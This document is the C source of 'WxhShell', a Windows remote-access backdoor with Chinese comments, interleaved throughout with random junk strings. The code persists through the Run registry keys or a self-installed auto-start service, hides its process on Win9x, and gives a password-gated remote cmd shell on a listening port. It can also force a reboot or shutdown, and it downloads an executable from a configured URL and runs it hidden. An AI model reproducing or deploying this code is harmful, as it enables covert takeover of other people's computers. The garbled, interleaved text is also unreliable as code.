<g typedef struct eiMP: { *yBVZD|?H DWORD ExitStatus; %8*:VR DWORD PebBaseAddress; .a4,Lr#q. DWORD AffinityMask; o[Ffa#sE DWORD BasePriority; |A&;m}(Mt ULONG UniqueProcessId; dl4n-*h ULONG InheritedFromUniqueProcessId; DU^.5f } PROCESS_BASIC_INFORMATION; u*C*O4f>OC ~$J;yo~ PROCNTQSIP NtQueryInformationProcess; yqN`R\d 2Q6;SF"Z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L}h_\1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LG[N\%<!H A
\/~u"Y HANDLE hProcess; A@V$~&JCL5 PROCESS_BASIC_INFORMATION pbi; g,,wG k ?fxM1<8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0'o[2, if(NULL == hInst ) return 0; SBxpJsW> #pvq9fss,} g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q yqOtRk g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kd:l8%+ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #W~jQ5NS\ sOhn@*X if (!NtQueryInformationProcess) return 0; Qs1CK;+zU p:08q
B|uQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T]th3* if(!hProcess) return 0; 5wue2/gl 78l);/E{v if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x Lan1V ]0UYxv%] CloseHandle(hProcess); $@PruY3[ ;\K]~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NBk0P*SI if(hProcess==NULL) return 0; ?I+{S hF'VqJS HMODULE hMod; u@Hz7Q}
P char procName[255]; h*Fv~j'p unsigned long cbNeeded; ?lC>E[ gTj,I=3$?e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,p|Q/M^ }O\IF}X CloseHandle(hProcess); i:s= _r:Fmn_%- if(strstr(procName,"services")) return 1; // 以服务启动 _=HaE&
)U~|QdZ return 0; // 注册表启动 pS$9mzY } [FBS|v#T k[f2`o= // 主模块 f&<+45JI int StartWxhshell(LPSTR lpCmdLine) R+HX'W { #B\s'j[A" SOCKET wsl; 2"D4q (@ BOOL val=TRUE; k
A3K int port=0; 8&JB_%Gb struct sockaddr_in door; y i$+rPF1 |enLv12Gm if(wscfg.ws_autoins) Install(); w"{DLN[Qw {0,b[ port=atoi(lpCmdLine); t?"(Zb J%?5d:iN+ if(port<=0) port=wscfg.ws_port; d5^^h<' ei-\t
qY_ WSADATA data; !q&Td if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,:mL\ZED UF-&L:s[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v~SM"ky# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s4fO4.bn m door.sin_family = AF_INET; RJD{l+ door.sin_addr.s_addr = inet_addr("127.0.0.1"); nP%U<$,+ door.sin_port = htons(port); r;{$x rt^~
I\V if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BL&AZv/T closesocket(wsl);
,IB\1# return 1; DQGrXMpV0 } FO*Gc
Z }||u{[ if(listen(wsl,2) == INVALID_SOCKET) {
{&+M.Xn closesocket(wsl); ;`oK5 return 1; fg LY{ } M
P8Sd1_= Wxhshell(wsl); Hs)Cf)8u WSACleanup(); \-yI
dKj 4s7
RB return 0; pg%(6dqK4 3YMqp~4 } sT;wHtU Y\9}LgIvr // 以NT服务方式启动 pVc+}Wzh VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qs\a&Q=0H { q=pRe-{ DWORD status = 0; jJIP $ DWORD specificError = 0xfffffff; N# }A9t v,iZnANZ&P serviceStatus.dwServiceType = SERVICE_WIN32; !dT+cZsf serviceStatus.dwCurrentState = SERVICE_START_PENDING; P4@`C{F5m serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (tYZq86` serviceStatus.dwWin32ExitCode = 0; Z3JUYEAS serviceStatus.dwServiceSpecificExitCode = 0; JuSS(dJw serviceStatus.dwCheckPoint = 0; OjhX:{"59 serviceStatus.dwWaitHint = 0; t+a.,$U ^i|R6oO_5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %W~w\mT if (hServiceStatusHandle==0) return; SVo ?o|< <\O+
status = GetLastError(); -)(5^OQ if (status!=NO_ERROR) X&WP.n) { Z5Lmg serviceStatus.dwCurrentState = SERVICE_STOPPED; fHd[8{;P: serviceStatus.dwCheckPoint = 0; 5QiQDQT}5 serviceStatus.dwWaitHint = 0; !'H$08Ql} serviceStatus.dwWin32ExitCode = status; hdDT'+ serviceStatus.dwServiceSpecificExitCode = specificError; '4uu@?!dVk SetServiceStatus(hServiceStatusHandle, &serviceStatus); i2Wvu3,D3- return; TR3U<: } a
U\|ZCH\] R ` ViRJh serviceStatus.dwCurrentState = SERVICE_RUNNING; #csP.z3^y serviceStatus.dwCheckPoint = 0; Dnd; N/9 serviceStatus.dwWaitHint = 0; 0BDw}E\ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b$klm6nMvm } k\[(;9sf. &IN%2c // 处理NT服务事件,比如:启动、停止 Y'iI_cg VOID WINAPI NTServiceHandler(DWORD fdwControl) 5TJd9:\Af { bY#BK_8 : switch(fdwControl) Dy.i^`7\ { N" L&Z4Z case SERVICE_CONTROL_STOP: l$&~(YE f serviceStatus.dwWin32ExitCode = 0; Os<E7l zqO serviceStatus.dwCurrentState = SERVICE_STOPPED; F6}RPk\=i serviceStatus.dwCheckPoint = 0; p=:Vpg<! serviceStatus.dwWaitHint = 0; $A?9U}V#^ { ,jRAVt+{N SetServiceStatus(hServiceStatusHandle, &serviceStatus); *|S6iSn9R! } {R ),7U8 return; k7iko{5D case SERVICE_CONTROL_PAUSE: |^l_F1+w serviceStatus.dwCurrentState = SERVICE_PAUSED; k4iiL<| break; yU!1q}L! case SERVICE_CONTROL_CONTINUE: G$f%]A1 serviceStatus.dwCurrentState = SERVICE_RUNNING; AtJ{d^ break; u79- B-YW^ case SERVICE_CONTROL_INTERROGATE: f(pq`v^-n break; _e@8E6#ce }; #VrIU8Q7' SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Wj= V } }T4|Kyu? }PJsPIa3j // 标准应用程序主函数 l\W|a'i int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gl+d0<Rzw { Z jmQ d 5yEgc;z // 获取操作系统版本 mxqD'^n# OsIsNt=GetOsVer(); 44}5o GetModuleFileName(NULL,ExeFile,MAX_PATH); f7a4E+} gbuh04#~ // 从命令行安装 Jx5`0? if(strpbrk(lpCmdLine,"iI")) Install(); J> >>J3"XHX // 下载执行文件 5(H%Ia if(wscfg.ws_downexe) { upuN$4m&{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zzZEX WinExec(wscfg.ws_filenam,SW_HIDE); C=+9XfP 0 } ]zlA<w8 M?lh1Yu" if(!OsIsNt) { }R}+8 // 如果时win9x,隐藏进程并且设置为注册表启动 #Kb /tOp1 HideProc(); 8)0]cX StartWxhshell(lpCmdLine); 0:v!' }
-qj[ck(y else yus3GqPI if(StartFromService()) a6LL]_&g // 以服务方式启动 n- 2X?<_Z StartServiceCtrlDispatcher(DispatchTable); >IIq_6Z# else To*+Z3Wd // 普通方式启动 nW)+-Wxq StartWxhshell(lpCmdLine); /i"hViCrlG &q>8D' return 0; e\C-a4[C8P } dQ8RrD=$& $Er=i }` 'V7LL1K^> w!"L\QT =========================================== C{bxPILw &DMC\R* j S=k!8]/d| Y ]([K.I= 1w=.vj<d8 NVb}uH*i " Y2DL%'K^ tA#$q;S #include <stdio.h> 57q= #include <string.h> M )ET1ZM #include <windows.h> ,4H? + |! #include <winsock2.h> WhW}ZS'r #include <winsvc.h> bJ_rU35s> #include <urlmon.h> DDr\Kv)k( VwI #pragma comment (lib, "Ws2_32.lib") .~o{i_JH #pragma comment (lib, "urlmon.lib") 2V@5:tf W+i^tmj #define MAX_USER 100 // 最大客户端连接数 9}6_B| #define BUF_SOCK 200 // sock buffer mEJ7e# #define KEY_BUFF 255 // 输入 buffer ;JkIZ8! h*VDd3[# #define REBOOT 0 // 重启 j~N*T XkC #define SHUTDOWN 1 // 关机 H=BI%Z s^zlBvr|. #define DEF_PORT 5000 // 监听端口 IMWt!#vuY \>5sW8P]H` #define REG_LEN 16 // 注册表键长度 sLA.bp.O #define SVC_LEN 80 // NT服务名长度 4<($ZN8 +S{m!j%B // 从dll定义API J,Ki2'= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 50MM05aC typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tm`@5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rT `sY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +DRt2a# 1;/SXJ s // wxhshell配置信息 b;VIR,2 struct WSCFG { ''9]`B,:a0 int ws_port; // 监听端口 &MpLm& char ws_passstr[REG_LEN]; // 口令 gg`{kN^r.a int ws_autoins; // 安装标记, 1=yes 0=no pl>b 6 | char ws_regname[REG_LEN]; // 注册表键名 {O>Td9
char ws_svcname[REG_LEN]; // 服务名 ~3bV~H#~m char ws_svcdisp[SVC_LEN]; // 服务显示名 {Z/iYHv~#c char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xgx/ubca0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1e[?}q]* int ws_downexe; // 下载执行标记, 1=yes 0=no
:Hq%y/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^P9mJ: char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k\O<pG[U l?)>"^ }; Wq3PN^ h^(U:M=A // default Wxhshell configuration T)e2IXGN struct WSCFG wscfg={DEF_PORT, fc~fjtqwvz "xuhuanlingzhe", D]E=0+ 1, 6{5T^^x?< "Wxhshell", _AF$E"f@ "Wxhshell", a>vxox) % "WxhShell Service", 2e\"?y OD "Wrsky Windows CmdShell Service", WuE]pm]c "Please Input Your Password: ", &n| <NF 1, |y7TYjg6 "http://www.wrsky.com/wxhshell.exe", yr},pB "Wxhshell.exe" p^Ey6,!8]D }; m u9,vH fL|9/sojz // 消息定义模块 yr+QV:oVA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f1:>H.m`
char *msg_ws_prompt="\n\r? for help\n\r#>"; -Cvd3%Jje char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [,Ul char *msg_ws_ext="\n\rExit."; K-]) RIM char *msg_ws_end="\n\rQuit."; WblH} char *msg_ws_boot="\n\rReboot..."; QyA^9@iVs char *msg_ws_poff="\n\rShutdown..."; #Tc`W_- char *msg_ws_down="\n\rSave to "; Mcc%&j 0dwD ?GG2 char *msg_ws_err="\n\rErr!"; ^JxVs
7 char *msg_ws_ok="\n\rOK!"; 6/cm TT$i w(bvs&`{uC char ExeFile[MAX_PATH]; F7<M{h5s int nUser = 0; +On2R&m HANDLE handles[MAX_USER]; imADjBR] int OsIsNt; <&[`
+ #*:1C h]B SERVICE_STATUS serviceStatus; <q'?[aKvR SERVICE_STATUS_HANDLE hServiceStatusHandle;
zr ez* ;L:UYhDbUx // 函数声明 o Tvg%bX int Install(void); z@UH[>^gj int Uninstall(void); ]iTP5~8U int DownloadFile(char *sURL, SOCKET wsh); ;LgMi5dN int Boot(int flag); T^eD void HideProc(void); .Od@i$E>& int GetOsVer(void); 0>m$e(Z int Wxhshell(SOCKET wsl); al Rz@N void TalkWithClient(void *cs); 5n>zJ
~ int CmdShell(SOCKET sock); WMKxGZg" int StartFromService(void); W/RB|TMT int StartWxhshell(LPSTR lpCmdLine); DPY+{5q2 r!w4Br0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PM@_ZJ'x VOID WINAPI NTServiceHandler( DWORD fdwControl ); lrPIXIM NfQQJ@* // 数据结构和表定义 iaMl>ua SERVICE_TABLE_ENTRY DispatchTable[] = t(UBs-t { z*VK{O)o {wscfg.ws_svcname, NTServiceMain}, 6GAEQ] {NULL, NULL} Y, Lpv| }; WTD86A .`KzA] // 自我安装 \|vo@E int Install(void) p}~Sgi { ymrnu-p o char svExeFile[MAX_PATH]; ,4,Bc< HKEY key; 2 .Xx)(> strcpy(svExeFile,ExeFile); ;|\j][A nIOSP:'> // 如果是win9x系统,修改注册表设为自启动 w[vccARQ if(!OsIsNt) { yEB#*}K? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j<WsFVS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Md9y:)P@Y RegCloseKey(key); ;<o?JM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @@3NSKA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $2]>{g RegCloseKey(key); t0<RtIh9e return 0; Z1$S(p=)L } &n?RKcH}d } Cw!tB1D } "KCG']DF else { I=Y_EjZD 7<:o4\q?m // 如果是NT以上系统,安装为系统服务 eF0FQlMe[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U
|eh if (schSCManager!=0) AH#a+<;a { v!DU ewz SC_HANDLE schService = CreateService y]! #$C / ( Lf.Ia*R: schSCManager, {qSMJja !t wscfg.ws_svcname, s{c|J#s wscfg.ws_svcdisp, %IIFLlD SERVICE_ALL_ACCESS, lV./K;\T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[g@Uc SERVICE_AUTO_START, N.|zz)y SERVICE_ERROR_NORMAL, mDt!b6N/ svExeFile, ]#S<]v A NULL, 18j>x3tn NULL, 4K~> NULL, am'K$s NULL, W3('1 NULL ]T40VGJ:h ); u!HbS*jqq if (schService!=0) Ke[`zui@? { h0x'QiCc CloseServiceHandle(schService); Jz0AYiCq CloseServiceHandle(schSCManager); :v45Ls4J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $WRRCB/A6 strcat(svExeFile,wscfg.ws_svcname); %b h:c5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <Pf4[q&wM RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r0OP !u RegCloseKey(key); 4"nYxL"<4 return 0; .|P
:n' } S%?%06$ } ?hrz@k| CloseServiceHandle(schSCManager); }YiFiGf, } _9=cxwi<w } n%}#e! {QN 5QGvK return 1; H:Q4!< } benqm ~{\ b!/-9{ // 自我卸载 Aj/EaIq int Uninstall(void) ;B }4pv} { lN"@5(5% HKEY key; -`X`Ff V<}chLd, if(!OsIsNt) { I!lR 7% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M`9|8f,!a RegDeleteValue(key,wscfg.ws_regname); |<8Fa%!HHc RegCloseKey(key); VV[Fb9W ; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *6}'bdQbNP RegDeleteValue(key,wscfg.ws_regname); fG8^ |: RegCloseKey(key); -) +B!"1 return 0; }t|i1{%_ } BNO+-ob- } X-CoC
} |NTqJ j else { 8"[{[<- y\9#"=+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E
KJ2P$ if (schSCManager!=0) hoiC
J}us { Hkf]=kPy* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zlkW-rRkR if (schService!=0) $EdL^Q2KAy { fU.z_T[@ if(DeleteService(schService)!=0) { (_N(K`4#W CloseServiceHandle(schService); U9\w)D|+eE CloseServiceHandle(schSCManager); DdeKZ)8 return 0; ]Ee$ulJ02 } eT2Tg5Etc CloseServiceHandle(schService); #op0|:/N } ?5%o-hB| CloseServiceHandle(schSCManager); v@fy*T\3 } G~4G$YL* } OeZ"WO HqyAo]{GN return 1; zW`a]n. } SC3_S. d<m.5ECC} // 从指定url下载文件 #oR@!? int DownloadFile(char *sURL, SOCKET wsh) d\c)cgh% { q}z`Z/`/ HRESULT hr; rzvKvGd#N char seps[]= "/"; 0q]0+o*% char *token; L)9Z Op5 char *file; 93,7yZ5# char myURL[MAX_PATH]; q(2ZJn13f char myFILE[MAX_PATH]; ?O]RQXsZ2 X]W( strcpy(myURL,sURL); uA t{WDHm token=strtok(myURL,seps); (bB"6
#TI while(token!=NULL) e)XnS ' { 3m & file=token; {DUtdu[ token=strtok(NULL,seps); u&o$2
'8 } {([`[7B>a< <33,0."K GetCurrentDirectory(MAX_PATH,myFILE); mO8/eVws[M strcat(myFILE, "\\"); ^HE@ [b strcat(myFILE, file); Z@>kqJ% send(wsh,myFILE,strlen(myFILE),0); x2OAkkH\]i send(wsh,"...",3,0); v}IhO~`uEq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Otf{)f if(hr==S_OK) s5*HS3D return 0; 43O5|8o else i;juwc^n} return 1; EiZa,}A "-rqL } H_aG\
.2ZFJ.Z" // 系统电源模块 H9!q)qlK int Boot(int flag) OpK_?XG { (zk/>Ou HANDLE hToken; vWa\8y f TOKEN_PRIVILEGES tkp; h 'Hnq m Ua=r24fy if(OsIsNt) { xZ>j Q_} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9}4~3_gv;M LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qmvQd8|XR tkp.PrivilegeCount = 1; N\rL ~4/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MGre_=Dm_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G68@(<<Z if(flag==REBOOT) { {9^p3Q+:P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q)AX*T+ return 0; 0y+i?y
9 } 2n-kJl`: O else { h[<l2fy if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GY^;$ ? return 0; {.y_{yWo } C46jVl } #~.RJ% else { >6)|>#Wi if(flag==REBOOT) { lJT"aXt'M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7;&,LH return 0; Sn'
+~6i } L1y71+iqU else { E\p"% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =+q\Jh return 0; j5]ul!ji } Y4_xV& } /?Mr2!3N YhC|hDC return 1; l@-h.tS } (=EDqAZg >vO+k^'Y // win9x进程隐藏模块 JZ&_1~Z= void HideProc(void) (Q8r2*L { t`>Z#=cl\ sH >zsc HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rUAt`ykTmN if ( hKernel != NULL ) _-9cGm v { DQaE9gmC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4%I[.dBnM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SQ/HZ FreeLibrary(hKernel); ,xAF=t } #VVfHCy \<G"9w return; |{_>H' } c&
bms)Jwa mm.%Dcn // 获取操作系统版本 7?y7fwER int GetOsVer(void) HPJHA , { LIQ].VxIs OSVERSIONINFO winfo; *;~u 5y2b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U=U5EdN; GetVersionEx(&winfo); AYpvGl' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (oG.A return 1; ik;F@kdm` else Chx+p&! return 0; WIpV'F|t]` } fGRV]6?V 4"\cA:9a // 客户端句柄模块 .aVt d
[ int Wxhshell(SOCKET wsl) 3dolrW { Re
%dNxJ= SOCKET wsh; Jyr
V2Tk^ struct sockaddr_in client; .`V$j.a DWORD myID; 5sN6&'[ ?( z"Ub] while(nUser<MAX_USER) {8`$~c {
UT9u? int nSize=sizeof(client); aql8Or1[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a(ITv roM/ if(wsh==INVALID_SOCKET) return 1; sf# px|~9 RVLVY:h|F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4RYH^9;>K if(handles[nUser]==0) 5Z5x\CcC3 closesocket(wsh); <V Rb else .>P:{'' nUser++; QG2 Zh9R } ^NRf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I0z 7bx o0|Ex\ return 0; kfT*G
+l] } s(J>yd= FF!PmfF' // 关闭 socket ela^L_N hF void CloseIt(SOCKET wsh) mtn^+* { U V*Ruy- closesocket(wsh); 7]ysvSM nUser--; KB(W'M_D\ ExitThread(0); n+te5_F } jlFlhj:/I di0@E<@1: // 客户端请求句柄 L$.3,./ void TalkWithClient(void *cs) 0 yq { vv{+p(~**O 6Io}3}3 SOCKET wsh=(SOCKET)cs; L/`1K_\l char pwd[SVC_LEN]; w D r/T3 char cmd[KEY_BUFF]; "42/P4: char chr[1]; |%mZ|,[ int i,j; o ]z#~^w }u=Oi@~ while (nUser < MAX_USER) { ^2+Vt=* D&D6!jz if(wscfg.ws_passstr) { " QiR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q}KOb4D //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jou*e% //ZeroMemory(pwd,KEY_BUFF); O=(F46 M i=0; q!@!eC[b while(i<SVC_LEN) { ZH9Fs'c= wK#*| // 设置超时 yb?Pyq.D fd_set FdRead; Hz2Sx1.i struct timeval TimeOut; J'$NBws FD_ZERO(&FdRead); 'xGhMgR; FD_SET(wsh,&FdRead); *Q/^ib9= TimeOut.tv_sec=8; /#H P;>!n TimeOut.tv_usec=0; dnU-v7k,{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J:Qx5;b; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /Xb4'Qj Y%;X7VxU* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MJ1qU}+] pwd=chr[0]; tZz%x?3G if(chr[0]==0xd || chr[0]==0xa) { ]rH[+t- pwd=0; H@?} !@ break; 'ET];iZ2 } o,dp{+({ i++; 9&AO } Oh p@ZJ!a? ,}gJY^X+ // 如果是非法用户,关闭 socket 6&ut r!\7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e'G=.: } Y$A2{RjRq YZ4`b- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #]tDxZ]
6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hy&Z0W'l @:GqOTN while(1) { A#T"4'#?< PENB5+1OK ZeroMemory(cmd,KEY_BUFF); !V3+(o1 :VZS7$5 // 自动支持客户端 telnet标准 ~io. TS|r j=0; [Tp?u8$p` while(j<KEY_BUFF) { !ZH "$m| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $sda'L5^p cmd[j]=chr[0]; #NYnZ^6e if(chr[0]==0xa || chr[0]==0xd) { : #CWiq("% cmd[j]=0; ~44u_^a break; az0=jou<Zl } aH'fAX0bF j++; SYA~I-OYc } ?4/pE@RIy J'X}6Q // 下载文件 4J_HcatOB if(strstr(cmd,"http://")) { `y.4FA4"8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); }%/mPbd# if(DownloadFile(cmd,wsh)) XNJZ~Mowb send(wsh,msg_ws_err,strlen(msg_ws_err),0); #xGP|:m else j;]I
-M[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !~~KM?g } )-&@8` else { D!,5j_,j% K}re{y switch(cmd[0]) { |kPgXq6 |7c],SHm // 帮助 -EP1Rl`\ case '?': { lt6wmCe send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "gM!/<~ break; Za|iU`e\ } C78g|n{ // 安装 qm!oJL case 'i': { 20|_wAA5 if(Install()) !<:Cd(bM send(wsh,msg_ws_err,strlen(msg_ws_err),0); XKky-LeJ else <$z[pw< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #C&';HB;y break; C`i#7zsH } =|1_6.tz // 卸载 O|8@cO case 'r': { @u9L+*F
if(Uninstall()) ?5nEmG|kO send(wsh,msg_ws_err,strlen(msg_ws_err),0); [S,$E6&j$" else |w|c!;, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |> STb\ break; 94#,dA,M } ~F'6k&A^q // 显示 wxhshell 所在路径 m_/Ut case 'p': { ,FzkGB# char svExeFile[MAX_PATH]; JT0j2_*Rr strcpy(svExeFile,"\n\r"); XYWyxx5` strcat(svExeFile,ExeFile); %eDSo9Y send(wsh,svExeFile,strlen(svExeFile),0); by
@q g: break; @iuX~QA[9 } :k1?I'q% // 重启 yl~;! case 'b': { _D{A`z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); erEB4q+ #O if(Boot(REBOOT)) #U`AK9rP_g send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1*hE bO else { _dd! nU\A| closesocket(wsh); <?7qI8 5OT ExitThread(0); -z`FKej } Pq [_(Nt break; DfAF-Yhut } i6_} // 关机 Ct)58f2 case 'd': { <jV,VKL# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QNx]8r if(Boot(SHUTDOWN)) }qECpKa0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6}E>B{Y else { i-v: % closesocket(wsh); n<8WjrK ExitThread(0); =|E
" } &wK:R,~x6 break; {UP[iw$~ } ;
oa+Z:;f // 获取shell vEg%ivj3 case 's': { 0QZT<Zs CmdShell(wsh); Hj{.{V closesocket(wsh); 8*0QVFn$ ExitThread(0); &!/>B . break; )^o.H~Pv } ?m *e$!M0 // 退出 NuR7pjNMZ case 'x': { "
7^nRJy send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p\=T#lb CloseIt(wsh); uG7]s]Wdz; break; $f3 IO#N } <)T| HKx // 离开 ?3BcjD0 case 'q': { o@L0ET send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8S8qj"s closesocket(wsh); gvT}UNqL WSACleanup(); f9u=h} exit(1); *zPqXtw!j break; o664b$5nsI } :%sBY0 yF } h}SZ+G/L } jXA/G%:[ uluAqDz` // 提示信息 pCIS82L if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {4 Yxh8 } Bz } nP9 } G7&TMg7i DK?aFSf\ return; phu,&DS! } }
KyoMs ?]D&D:Z?I // shell模块句柄 A^z{n/DiL int CmdShell(SOCKET sock) Py
v> { v>`Fo[c STARTUPINFO si; 4O-LLH ZeroMemory(&si,sizeof(si)); Qg/FFn^Kg* si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l0,VN,$Yl si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y5eEEG6 PROCESS_INFORMATION ProcessInfo; UnK7&Uo char cmdline[]="cmd"; o.!o4&WH CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fPD.np} return 0; ?P+Uv } (/I6Wa L/jaUt[, // 自身启动模式 ExtC\(X; int StartFromService(void) P0}B&B/a: { 1=J& ^O{W typedef struct i5TGK#3o { \|S%zX DWORD ExitStatus; 4:rwzRDY DWORD PebBaseAddress; flPS+ DWORD AffinityMask; hYzP6?K" DWORD BasePriority; >Gpq{Ph[ ULONG UniqueProcessId; 4q] 6[/ ULONG InheritedFromUniqueProcessId; Cl&mz1Y;]1 } PROCESS_BASIC_INFORMATION; 4E.9CjN1> ^(:~8 h PROCNTQSIP NtQueryInformationProcess; E:8*o7 X?t;uZI^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $(D>v!dp static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0~U%csPHt =?C < |